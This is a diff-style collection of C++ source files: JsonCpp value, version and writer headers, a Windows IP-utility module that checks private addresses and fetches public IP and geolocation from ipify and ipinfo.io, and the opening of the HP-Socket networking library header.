bool removeMember(const char* key, Value* removed);
/** \brief Remove the named map member.
*
* Update 'removed' iff removed.
* \param key may contain embedded nulls.
* \return true iff removed (no exceptions)
*/
bool removeMember(String const& key, Value* removed);
/// Same as removeMember(String const& key, Value* removed)
bool removeMember(const char* begin, const char* end, Value* removed);
/** \brief Remove the indexed array element.
*
* O(n) expensive operations.
* Update 'removed' iff removed.
* \return true if removed (no exceptions)
*/
bool removeIndex(ArrayIndex index, Value* removed);
/// Return true if the object has a member named key.
/// \note 'key' must be null-terminated.
bool isMember(const char* key) const;
/// Return true if the object has a member named key.
/// \param key may contain embedded nulls.
bool isMember(const String& key) const;
/// Same as isMember(String const& key)const
bool isMember(const char* begin, const char* end) const;
/// \brief Return a list of the member names.
///
/// If null, return an empty list.
/// \pre type() is objectValue or nullValue
/// \post if type() was nullValue, it remains nullValue
Members getMemberNames() const;
/// \deprecated Always pass len.
JSONCPP_DEPRECATED("Use setComment(String const&) instead.")
void setComment(const char* comment, CommentPlacement placement) {
setComment(String(comment, strlen(comment)), placement);
}
/// Comments must be //... or /* ... */
void setComment(const char* comment, size_t len, CommentPlacement placement) {
setComment(String(comment, len), placement);
}
/// Comments must be //... or /* ... */
void setComment(String comment, CommentPlacement placement);
bool hasComment(CommentPlacement placement) const;
/// Include delimiters and embedded newlines.
String getComment(CommentPlacement placement) const;
String toStyledString() const;
const_iterator begin() const;
const_iterator end() const;
iterator begin();
iterator end();
/// \brief Returns a reference to the first element in the `Value`.
/// Requires that this value holds an array or json object, with at least one
/// element.
const Value& front() const;
/// \brief Returns a reference to the first element in the `Value`.
/// Requires that this value holds an array or json object, with at least one
/// element.
Value& front();
/// \brief Returns a reference to the last element in the `Value`.
/// Requires that value holds an array or json object, with at least one
/// element.
const Value& back() const;
/// \brief Returns a reference to the last element in the `Value`.
/// Requires that this value holds an array or json object, with at least one
/// element.
Value& back();
// Accessors for the [start, limit) range of bytes within the JSON text from
// which this value was parsed, if any.
void setOffsetStart(ptrdiff_t start);
void setOffsetLimit(ptrdiff_t limit);
ptrdiff_t getOffsetStart() const;
ptrdiff_t getOffsetLimit() const;
private:
void setType(ValueType v) {
bits_.value_type_ = static_cast<unsigned char>(v);
}
bool isAllocated() const { return bits_.allocated_; }
void setIsAllocated(bool v) { bits_.allocated_ = v; }
void initBasic(ValueType type, bool allocated = false);
void dupPayload(const Value& other);
void releasePayload();
void dupMeta(const Value& other);
Value& resolveReference(const char* key);
Value& resolveReference(const char* key, const char* end);
// struct MemberNamesTransform
//{
// typedef const char *result_type;
// const char *operator()( const CZString &name ) const
// {
// return name.c_str();
// }
//};
union ValueHolder {
LargestInt int_;
LargestUInt uint_;
double real_;
bool bool_;
char* string_; // if allocated_, ptr to { unsigned, char[] }.
ObjectValues* map_;
} value_;
struct {
// Really a ValueType, but types should agree for bitfield packing.
unsigned int value_type_ : 8;
// Unless allocated_, string_ must be null-terminated.
unsigned int allocated_ : 1;
} bits_;
class Comments {
public:
Comments() = default;
Comments(const Comments& that);
Comments(Comments&& that) noexcept;
Comments& operator=(const Comments& that);
Comments& operator=(Comments&& that) noexcept;
bool has(CommentPlacement slot) const;
String get(CommentPlacement slot) const;
void set(CommentPlacement slot, String comment);
private:
using Array = std::array<String, numberOfCommentPlacement>;
std::unique_ptr<Array> ptr_;
};
Comments comments_;
// [start, limit) byte offsets in the source JSON text from which this Value
// was extracted.
ptrdiff_t start_;
ptrdiff_t limit_;
};
template <> inline bool Value::as<bool>() const { return asBool(); }
template <> inline bool Value::is<bool>() const { return isBool(); }
template <> inline Int Value::as<Int>() const { return asInt(); }
template <> inline bool Value::is<Int>() const { return isInt(); }
template <> inline UInt Value::as<UInt>() const { return asUInt(); }
template <> inline bool Value::is<UInt>() const { return isUInt(); }
#if defined(JSON_HAS_INT64)
template <> inline Int64 Value::as<Int64>() const { return asInt64(); }
template <> inline bool Value::is<Int64>() const { return isInt64(); }
template <> inline UInt64 Value::as<UInt64>() const { return asUInt64(); }
template <> inline bool Value::is<UInt64>() const { return isUInt64(); }
#endif
template <> inline double Value::as<double>() const { return asDouble(); }
template <> inline bool Value::is<double>() const { return isDouble(); }
template <> inline String Value::as<String>() const { return asString(); }
template <> inline bool Value::is<String>() const { return isString(); }
/// These `as` specializations are type conversions, and do not have a
/// corresponding `is`.
template <> inline float Value::as<float>() const { return asFloat(); }
template <> inline const char* Value::as<const char*>() const {
return asCString();
}
/** \brief Experimental and untested: represents an element of the "path" to
* access a node.
*/
class JSON_API PathArgument {
public:
friend class Path;
PathArgument();
PathArgument(ArrayIndex index);
PathArgument(const char* key);
PathArgument(String key);
private:
enum Kind { kindNone = 0, kindIndex, kindKey };
String key_;
ArrayIndex index_{};
Kind kind_{kindNone};
};
/** \brief Experimental and untested: represents a "path" to access a node.
*
* Syntax:
* - "." => root node
* - ".[n]" => elements at index 'n' of root node (an array value)
* - ".name" => member named 'name' of root node (an object value)
* - ".name1.name2.name3"
* - ".[0][1][2].name1[3]"
* - ".%" => member name is provided as parameter
* - ".[%]" => index is provided as parameter
*/
class JSON_API Path {
public:
Path(const String& path, const PathArgument& a1 = PathArgument(),
const PathArgument& a2 = PathArgument(),
const PathArgument& a3 = PathArgument(),
const PathArgument& a4 = PathArgument(),
const PathArgument& a5 = PathArgument());
const Value& resolve(const Value& root) const;
Value resolve(const Value& root, const Value& defaultValue) const;
/// Creates the "path" to access the specified node and returns a reference on
/// the node.
Value& make(Value& root) const;
private:
using InArgs = std::vector<const PathArgument*>;
using Args = std::vector<PathArgument>;
void makePath(const String& path, const InArgs& in);
void addPathInArg(const String& path, const InArgs& in,
InArgs::const_iterator& itInArg, PathArgument::Kind kind);
static void invalidPath(const String& path, int location);
Args args_;
};
/** \brief base class for Value iterators.
*
*/
class JSON_API ValueIteratorBase {
public:
using iterator_category = std::bidirectional_iterator_tag;
using size_t = unsigned int;
using difference_type = int;
using SelfType = ValueIteratorBase;
bool operator==(const SelfType& other) const { return isEqual(other); }
bool operator!=(const SelfType& other) const { return !isEqual(other); }
difference_type operator-(const SelfType& other) const {
return other.computeDistance(*this);
}
/// Return either the index or the member name of the referenced value as a
/// Value.
Value key() const;
/// Return the index of the referenced Value, or -1 if it is not an
/// arrayValue.
UInt index() const;
/// Return the member name of the referenced Value, or "" if it is not an
/// objectValue.
/// \note Avoid `c_str()` on result, as embedded zeroes are possible.
String name() const;
/// Return the member name of the referenced Value. "" if it is not an
/// objectValue.
/// \deprecated This cannot be used for UTF-8 strings, since there can be
/// embedded nulls.
JSONCPP_DEPRECATED("Use `key = name();` instead.")
char const* memberName() const;
/// Return the member name of the referenced Value, or NULL if it is not an
/// objectValue.
/// \note Better version than memberName(). Allows embedded nulls.
char const* memberName(char const** end) const;
protected:
/*! Internal utility functions to assist with implementing
* other iterator functions. The const and non-const versions
* of the "deref" protected methods expose the protected
* current_ member variable in a way that can often be
* optimized away by the compiler.
*/
const Value& deref() const;
Value& deref();
void increment();
void decrement();
difference_type computeDistance(const SelfType& other) const;
bool isEqual(const SelfType& other) const;
void copy(const SelfType& other);
private:
Value::ObjectValues::iterator current_;
// Indicates that iterator is for a null value.
bool isNull_{true};
public:
// For some reason, BORLAND needs these at the end, rather
// than earlier. No idea why.
ValueIteratorBase();
explicit ValueIteratorBase(const Value::ObjectValues::iterator& current);
};
/** \brief const iterator for object and array value.
*
*/
class JSON_API ValueConstIterator : public ValueIteratorBase {
friend class Value;
public:
using value_type = const Value;
// typedef unsigned int size_t;
// typedef int difference_type;
using reference = const Value&;
using pointer = const Value*;
using SelfType = ValueConstIterator;
ValueConstIterator();
ValueConstIterator(ValueIterator const& other);
private:
/*! \internal Use by Value to create an iterator.
*/
explicit ValueConstIterator(const Value::ObjectValues::iterator& current);
public:
SelfType& operator=(const ValueIteratorBase& other);
SelfType operator++(int) {
SelfType temp(*this);
++*this;
return temp;
}
SelfType operator--(int) {
SelfType temp(*this);
--*this;
return temp;
}
SelfType& operator--() {
decrement();
return *this;
}
SelfType& operator++() {
increment();
return *this;
}
reference operator*() const { return deref(); }
pointer operator->() const { return &deref(); }
};
/** \brief Iterator for object and array value.
*/
class JSON_API ValueIterator : public ValueIteratorBase {
friend class Value;
public:
using value_type = Value;
using size_t = unsigned int;
using difference_type = int;
using reference = Value&;
using pointer = Value*;
using SelfType = ValueIterator;
ValueIterator();
explicit ValueIterator(const ValueConstIterator& other);
ValueIterator(const ValueIterator& other);
private:
/*! \internal Use by Value to create an iterator.
*/
explicit ValueIterator(const Value::ObjectValues::iterator& current);
public:
SelfType& operator=(const SelfType& other);
SelfType operator++(int) {
SelfType temp(*this);
++*this;
return temp;
}
SelfType operator--(int) {
SelfType temp(*this);
--*this;
return temp;
}
SelfType& operator--() {
decrement();
return *this;
}
SelfType& operator++() {
increment();
return *this;
}
/*! The return value of non-const iterators can be
* changed, so the these functions are not const
* because the returned references/pointers can be used
* to change state of the base class.
*/
reference operator*() const { return const_cast<reference>(deref()); }
pointer operator->() const { return const_cast<pointer>(&deref()); }
};
inline void swap(Value& a, Value& b) { a.swap(b); }
inline const Value& Value::front() const { return *begin(); }
inline Value& Value::front() { return *begin(); }
inline const Value& Value::back() const { return *(--end()); }
inline Value& Value::back() { return *(--end()); }
} // namespace Json
#pragma pack(pop)
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(pop)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#endif // JSON_H_INCLUDED

View File

@@ -0,0 +1,27 @@
#ifndef JSON_VERSION_H_INCLUDED
#define JSON_VERSION_H_INCLUDED
// Note: version must be updated in three places when doing a release. This
// annoying process ensures that amalgamate, CMake, and meson all report the
// correct version.
// 1. /meson.build
// 2. /include/json/version.h
// 3. /CMakeLists.txt
// IMPORTANT: also update the SOVERSION!!
#define JSONCPP_VERSION_STRING "1.9.6"
#define JSONCPP_VERSION_MAJOR 1
#define JSONCPP_VERSION_MINOR 9
#define JSONCPP_VERSION_PATCH 6
#define JSONCPP_VERSION_QUALIFIER
#define JSONCPP_VERSION_HEXA \
((JSONCPP_VERSION_MAJOR << 24) | (JSONCPP_VERSION_MINOR << 16) | \
(JSONCPP_VERSION_PATCH << 8))
#if !defined(JSONCPP_USE_SECURE_MEMORY)
#define JSONCPP_USING_SECURE_MEMORY 0
#endif
// If non-zero, the library zeroes any memory that it has allocated before
// it frees its memory.
#endif // JSON_VERSION_H_INCLUDED

View File

@@ -0,0 +1,368 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_WRITER_H_INCLUDED
#define JSON_WRITER_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "value.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
#include <ostream>
#include <string>
#include <vector>
// Disable warning C4251: <data member>: <type> needs to have dll-interface to
// be used by...
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) && defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4251)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma pack(push)
#pragma pack()
namespace Json {
class Value;
/**
*
* Usage:
* \code
* using namespace Json;
* void writeToStdout(StreamWriter::Factory const& factory, Value const& value)
* { std::unique_ptr<StreamWriter> const writer( factory.newStreamWriter());
* writer->write(value, &std::cout);
* std::cout << std::endl; // add lf and flush
* }
* \endcode
*/
class JSON_API StreamWriter {
protected:
OStream* sout_; // not owned; will not delete
public:
StreamWriter();
virtual ~StreamWriter();
/** Write Value into document as configured in sub-class.
* Do not take ownership of sout, but maintain a reference during function.
* \pre sout != NULL
* \return zero on success (For now, we always return zero, so check the
* stream instead.) \throw std::exception possibly, depending on
* configuration
*/
virtual int write(Value const& root, OStream* sout) = 0;
/** \brief A simple abstract factory.
*/
class JSON_API Factory {
public:
virtual ~Factory();
/** \brief Allocate a CharReader via operator new().
* \throw std::exception if something goes wrong (e.g. invalid settings)
*/
virtual StreamWriter* newStreamWriter() const = 0;
}; // Factory
}; // StreamWriter
/** \brief Write into stringstream, then return string, for convenience.
* A StreamWriter will be created from the factory, used, and then deleted.
*/
String JSON_API writeString(StreamWriter::Factory const& factory,
Value const& root);
/** \brief Build a StreamWriter implementation.
* Usage:
* \code
* using namespace Json;
* Value value = ...;
* StreamWriterBuilder builder;
* builder["commentStyle"] = "None";
* builder["indentation"] = " "; // or whatever you like
* std::unique_ptr<Json::StreamWriter> writer(
* builder.newStreamWriter());
* writer->write(value, &std::cout);
* std::cout << std::endl; // add lf and flush
* \endcode
*/
class JSON_API StreamWriterBuilder : public StreamWriter::Factory {
public:
// Note: We use a Json::Value so that we can add data-members to this class
// without a major version bump.
/** Configuration of this builder.
* Available settings (case-sensitive):
* - "commentStyle": "None" or "All"
* - "indentation": "<anything>".
* - Setting this to an empty string also omits newline characters.
* - "enableYAMLCompatibility": false or true
* - slightly change the whitespace around colons
* - "dropNullPlaceholders": false or true
* - Drop the "null" string from the writer's output for nullValues.
* Strictly speaking, this is not valid JSON. But when the output is being
* fed to a browser's JavaScript, it makes for smaller output and the
* browser can handle the output just fine.
* - "useSpecialFloats": false or true
* - If true, outputs non-finite floating point values in the following way:
* NaN values as "NaN", positive infinity as "Infinity", and negative
* infinity as "-Infinity".
* - "precision": int
* - Number of precision digits for formatting of real values.
* - "precisionType": "significant"(default) or "decimal"
* - Type of precision for formatting of real values.
* - "emitUTF8": false or true
* - If true, outputs raw UTF8 strings instead of escaping them.
* You can examine 'settings_` yourself
* to see the defaults. You can also write and read them just like any
* JSON Value.
* \sa setDefaults()
*/
Json::Value settings_;
StreamWriterBuilder();
~StreamWriterBuilder() override;
/**
* \throw std::exception if something goes wrong (e.g. invalid settings)
*/
StreamWriter* newStreamWriter() const override;
/** \return true if 'settings' are legal and consistent;
* otherwise, indicate bad settings via 'invalid'.
*/
bool validate(Json::Value* invalid) const;
/** A simple way to update a specific setting.
*/
Value& operator[](const String& key);
/** Called by ctor, but you can use this to reset settings_.
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_writer.cpp StreamWriterBuilderDefaults
*/
static void setDefaults(Json::Value* settings);
};
/** \brief Abstract class for writers.
* \deprecated Use StreamWriter. (And really, this is an implementation detail.)
*/
class JSON_API Writer {
public:
virtual ~Writer();
virtual String write(const Value& root) = 0;
};
/** \brief Outputs a Value in <a HREF="http://www.json.org">JSON</a> format
*without formatting (not human friendly).
*
* The JSON document is written in a single line. It is not intended for 'human'
*consumption,
* but may be useful to support feature such as RPC where bandwidth is limited.
* \sa Reader, Value
* \deprecated Use StreamWriterBuilder.
*/
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4996) // Deriving from deprecated class
#endif
class JSON_API FastWriter : public Writer {
public:
FastWriter();
~FastWriter() override = default;
void enableYAMLCompatibility();
/** \brief Drop the "null" string from the writer's output for nullValues.
* Strictly speaking, this is not valid JSON. But when the output is being
* fed to a browser's JavaScript, it makes for smaller output and the
* browser can handle the output just fine.
*/
void dropNullPlaceholders();
void omitEndingLineFeed();
public: // overridden from Writer
String write(const Value& root) override;
private:
void writeValue(const Value& value);
String document_;
bool yamlCompatibilityEnabled_{false};
bool dropNullPlaceholders_{false};
bool omitEndingLineFeed_{false};
};
#if defined(_MSC_VER)
#pragma warning(pop)
#endif
/** \brief Writes a Value in <a HREF="http://www.json.org">JSON</a> format in a
*human friendly way.
*
* The rules for line break and indent are as follow:
* - Object value:
* - if empty then print {} without indent and line break
* - if not empty the print '{', line break & indent, print one value per
*line
* and then unindent and line break and print '}'.
* - Array value:
* - if empty then print [] without indent and line break
* - if the array contains no object value, empty array or some other value
*types,
* and all the values fit on one lines, then print the array on a single
*line.
* - otherwise, it the values do not fit on one line, or the array contains
* object or non empty array, then print one value per line.
*
* If the Value have comments then they are outputted according to their
*#CommentPlacement.
*
* \sa Reader, Value, Value::setComment()
* \deprecated Use StreamWriterBuilder.
*/
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4996) // Deriving from deprecated class
#endif
class JSON_API StyledWriter : public Writer {
public:
StyledWriter();
~StyledWriter() override = default;
public: // overridden from Writer
/** \brief Serialize a Value in <a HREF="http://www.json.org">JSON</a> format.
* \param root Value to serialize.
* \return String containing the JSON document that represents the root value.
*/
String write(const Value& root) override;
private:
void writeValue(const Value& value);
void writeArrayValue(const Value& value);
bool isMultilineArray(const Value& value);
void pushValue(const String& value);
void writeIndent();
void writeWithIndent(const String& value);
void indent();
void unindent();
void writeCommentBeforeValue(const Value& root);
void writeCommentAfterValueOnSameLine(const Value& root);
static bool hasCommentForValue(const Value& value);
static String normalizeEOL(const String& text);
using ChildValues = std::vector<String>;
ChildValues childValues_;
String document_;
String indentString_;
unsigned int rightMargin_{74};
unsigned int indentSize_{3};
bool addChildValues_{false};
};
#if defined(_MSC_VER)
#pragma warning(pop)
#endif
/** \brief Writes a Value in <a HREF="http://www.json.org">JSON</a> format in a
human friendly way,
to a stream rather than to a string.
*
* The rules for line break and indent are as follow:
* - Object value:
* - if empty then print {} without indent and line break
* - if not empty the print '{', line break & indent, print one value per
line
* and then unindent and line break and print '}'.
* - Array value:
* - if empty then print [] without indent and line break
* - if the array contains no object value, empty array or some other value
types,
* and all the values fit on one lines, then print the array on a single
line.
* - otherwise, it the values do not fit on one line, or the array contains
* object or non empty array, then print one value per line.
*
* If the Value have comments then they are outputted according to their
#CommentPlacement.
*
* \sa Reader, Value, Value::setComment()
* \deprecated Use StreamWriterBuilder.
*/
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4996) // Deriving from deprecated class
#endif
class JSON_API StyledStreamWriter {
public:
/**
* \param indentation Each level will be indented by this amount extra.
*/
StyledStreamWriter(String indentation = "\t");
~StyledStreamWriter() = default;
public:
/** \brief Serialize a Value in <a HREF="http://www.json.org">JSON</a> format.
* \param out Stream to write to. (Can be ostringstream, e.g.)
* \param root Value to serialize.
* \note There is no point in deriving from Writer, since write() should not
* return a value.
*/
void write(OStream& out, const Value& root);
private:
void writeValue(const Value& value);
void writeArrayValue(const Value& value);
bool isMultilineArray(const Value& value);
void pushValue(const String& value);
void writeIndent();
void writeWithIndent(const String& value);
void indent();
void unindent();
void writeCommentBeforeValue(const Value& root);
void writeCommentAfterValueOnSameLine(const Value& root);
static bool hasCommentForValue(const Value& value);
static String normalizeEOL(const String& text);
using ChildValues = std::vector<String>;
ChildValues childValues_;
OStream* document_;
String indentString_;
unsigned int rightMargin_{74};
String indentation_;
bool addChildValues_ : 1;
bool indented_ : 1;
};
#if defined(_MSC_VER)
#pragma warning(pop)
#endif
#if defined(JSON_HAS_INT64)
String JSON_API valueToString(Int value);
String JSON_API valueToString(UInt value);
#endif // if defined(JSON_HAS_INT64)
String JSON_API valueToString(LargestInt value);
String JSON_API valueToString(LargestUInt value);
String JSON_API valueToString(
double value, unsigned int precision = Value::defaultRealPrecision,
PrecisionType precisionType = PrecisionType::significantDigits);
String JSON_API valueToString(bool value);
String JSON_API valueToQuotedString(const char* value);
String JSON_API valueToQuotedString(const char* value, size_t length);
/// \brief Output using the StyledStreamWriter.
/// \see Json::operator>>()
JSON_API OStream& operator<<(OStream&, const Value& root);
} // namespace Json
#pragma pack(pop)
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(pop)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#endif // JSON_WRITER_H_INCLUDED

View File

@@ -0,0 +1,155 @@
#include "stdafx.h"
#include "parse_ip.h"
#include <winsock2.h>
#include <iphlpapi.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Iphlpapi.lib")
/**
* 判断给定的 IP 地址是否是局域网内网IP
* @param ipAddress IP 地址字符串(如 "192.168.1.1"
* @return 如果是局域网 IP返回 true否则返回 false
*/
bool IsPrivateIP(const std::string& ipAddress) {
// 将 IP 地址字符串转换为二进制格式
in_addr addr;
if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
return false;
}
// 将二进制 IP 地址转换为无符号整数
unsigned long ip = ntohl(addr.s_addr);
// 检查 IP 地址是否在局域网范围内
if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
return true;
}
return false;
}
// 获取 IP 地址地理位置(基于[ipinfo.io])
std::string GetGeoLocation(const std::string& IP) {
std::string ip = IP;
if (isLocalIP(ip)) {
ip = getPublicIP();
if (ip.empty())
return "";
}
HINTERNET hInternet, hConnect;
DWORD bytesRead;
std::string readBuffer;
// 初始化 WinINet
hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
Mprintf("InternetOpen failed! %d\n", GetLastError());
return "";
}
// 创建 HTTP 请求句柄
std::string url = "http://ipinfo.io/" + ip + "/json";
hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
InternetCloseHandle(hInternet);
return "";
}
// 读取返回的内容
char buffer[4096];
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
readBuffer.append(buffer, bytesRead);
}
// 解析 JSON 响应
Json::Value jsonData;
Json::Reader jsonReader;
std::string location;
if (jsonReader.parse(readBuffer, jsonData)) {
std::string country = jsonData["country"].asString();
std::string city = jsonData["city"].asString();
std::string loc = jsonData["loc"].asString(); // 经纬度信息
if (city.empty() && country.empty()) {
}else if (city.empty()) {
location = country;
}else if (country.empty()) {
location = city;
}else {
location = city + ", " + country;
}
if (location.empty() && IsPrivateIP(ip)) {
location = "Local Area Network";
}
}
else {
Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
}
// 关闭句柄
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return location;
}
bool isLoopbackAddress(const std::string& ip) {
return (ip == "127.0.0.1" || ip == "::1");
}
bool isLocalIP(const std::string& ip) {
if (isLoopbackAddress(ip)) return true; // 先检查回环地址
ULONG outBufLen = 15000;
IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
free(pAddresses);
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
}
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
if (ip == addressBuffer) {
free(pAddresses);
return true;
}
}
}
}
free(pAddresses);
return false;
}
// 获取公网IP, 获取失败返回空
std::string getPublicIP() {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
char buffer[1024] = { 0 };
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return "";
hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
return "";
}
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return std::string(buffer);
}

View File

@@ -0,0 +1,32 @@
#pragma once
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
#include "jsoncpp/json.h"
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
#pragma comment(lib, "wininet.lib")
// 获取 IP 地址地理位置
std::string GetGeoLocation(const std::string& ip);
bool isLocalIP(const std::string& ip);
std::string getPublicIP();
bool IsPrivateIP(const std::string& ipAddress);

View File

@@ -0,0 +1,827 @@
/*
* Copyright: JessMA Open Source (ldcsaa@gmail.com)
*
* Author : Bruce Liang
* Website : https://github.com/ldcsaa
* Project : https://github.com/ldcsaa/HP-Socket
* Blog : http://www.cnblogs.com/ldcsaa
* Wiki : http://www.oschina.net/p/hp-socket
* QQ Group : 44636872, 75375912
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/******************************************************************************
Module: HPSocket
Usage:
方法一:
--------------------------------------------------------------------------------------
0. 应用程序包含 HPTypeDef.h / SocketInterface.h / HPSocket.h 头文件
1. 调用 HP_Create_Xxx() 函数创建 HPSocket 对象
2. 使用完毕后调用 HP_Destroy_Xxx() 函数销毁 HPSocket 对象
方法二:
--------------------------------------------------------------------------------------
0. 应用程序包含 SocketInterface.h 和 HPSocket.h 头文件
1. 创建 CXxxPtr 智能指针,通过智能指针使用 HPSocket 对象
Release:
<-- 动态链接库 -->
1. x86/HPSocket.dll - (32位/MBCS/Release)
2. x86/HPSocket_D.dll - (32位/MBCS/DeBug)
3. x86/HPSocket_U.dll - (32位/UNICODE/Release)
4. x86/HPSocket_UD.dll - (32位/UNICODE/DeBug)
5. x64/HPSocket.dll - (64位/MBCS/Release)
6. x64/HPSocket_D.dll - (64位/MBCS/DeBug)
7. x64/HPSocket_U.dll - (64位/UNICODE/Release)
8. x64/HPSocket_UD.dll - (64位/UNICODE/DeBug)
<-- 静态链接库 -->
!!注意!!:使用 HPSocket 静态库时,需要在工程属性中定义预处理宏 -> HPSOCKET_STATIC_LIB
1. x86/static/HPSocket.lib - (32位/MBCS/Release)
2. x86/static/HPSocket_D.lib - (32位/MBCS/DeBug)
3. x86/static/HPSocket_U.lib - (32位/UNICODE/Release)
4. x86/static/HPSocket_UD.lib - (32位/UNICODE/DeBug)
5. x64/static/HPSocket.lib - (64位/MBCS/Release)
6. x64/static/HPSocket_D.lib - (64位/MBCS/DeBug)
7. x64/static/HPSocket_U.lib - (64位/UNICODE/Release)
8. x64/static/HPSocket_UD.lib - (64位/UNICODE/DeBug)
******************************************************************************/
#pragma once
#include "SocketInterface.h"
/*****************************************************************************************************************************************************/
/****************************************************************** TCP/UDP Exports ******************************************************************/
/*****************************************************************************************************************************************************/
/**************************************************/
/************** HPSocket 对象智能指针 **************/
template<class T, class _Listener, class _Creator> class CHPObjectPtr
{
public:
CHPObjectPtr& Reset(T* pObj = nullptr)
{
if(pObj != m_pObj)
{
if(m_pObj)
_Creator::Destroy(m_pObj);
m_pObj = pObj;
}
return *this;
}
CHPObjectPtr& Attach(T* pObj)
{
return Reset(pObj);
}
T* Detach()
{
T* pObj = m_pObj;
m_pObj = nullptr;
return pObj;
}
BOOL IsValid () const {return m_pObj != nullptr ;}
T* Get () const {return m_pObj ;}
T* operator -> () const {return m_pObj ;}
operator T* () const {return m_pObj ;}
CHPObjectPtr& operator = (T* pObj) {return Reset(pObj) ;}
public:
CHPObjectPtr(_Listener* pListener = nullptr)
{
m_pObj = _Creator::Create(pListener);
}
CHPObjectPtr(BOOL bCreate, _Listener* pListener = nullptr)
{
m_pObj = bCreate ? _Creator::Create(pListener) : nullptr;
}
virtual ~CHPObjectPtr()
{
Reset();
}
private:
CHPObjectPtr(const CHPObjectPtr&);
CHPObjectPtr& operator = (const CHPObjectPtr&);
protected:
T* m_pObj;
};
/**************************************************/
/**************** HPSocket 导出函数 ****************/
// 创建 ITcpServer 对象
HPSOCKET_API ITcpServer* HP_Create_TcpServer(ITcpServerListener* pListener);
// 创建 ITcpAgent 对象
HPSOCKET_API ITcpAgent* HP_Create_TcpAgent(ITcpAgentListener* pListener);
// 创建 ITcpClient 对象
HPSOCKET_API ITcpClient* HP_Create_TcpClient(ITcpClientListener* pListener);
// 创建 ITcpPullServer 对象
HPSOCKET_API ITcpPullServer* HP_Create_TcpPullServer(ITcpServerListener* pListener);
// 创建 ITcpPullAgent 对象
HPSOCKET_API ITcpPullAgent* HP_Create_TcpPullAgent(ITcpAgentListener* pListener);
// 创建 ITcpPullClient 对象
HPSOCKET_API ITcpPullClient* HP_Create_TcpPullClient(ITcpClientListener* pListener);
// 创建 ITcpPackServer 对象
HPSOCKET_API ITcpPackServer* HP_Create_TcpPackServer(ITcpServerListener* pListener);
// 创建 ITcpPackAgent 对象
HPSOCKET_API ITcpPackAgent* HP_Create_TcpPackAgent(ITcpAgentListener* pListener);
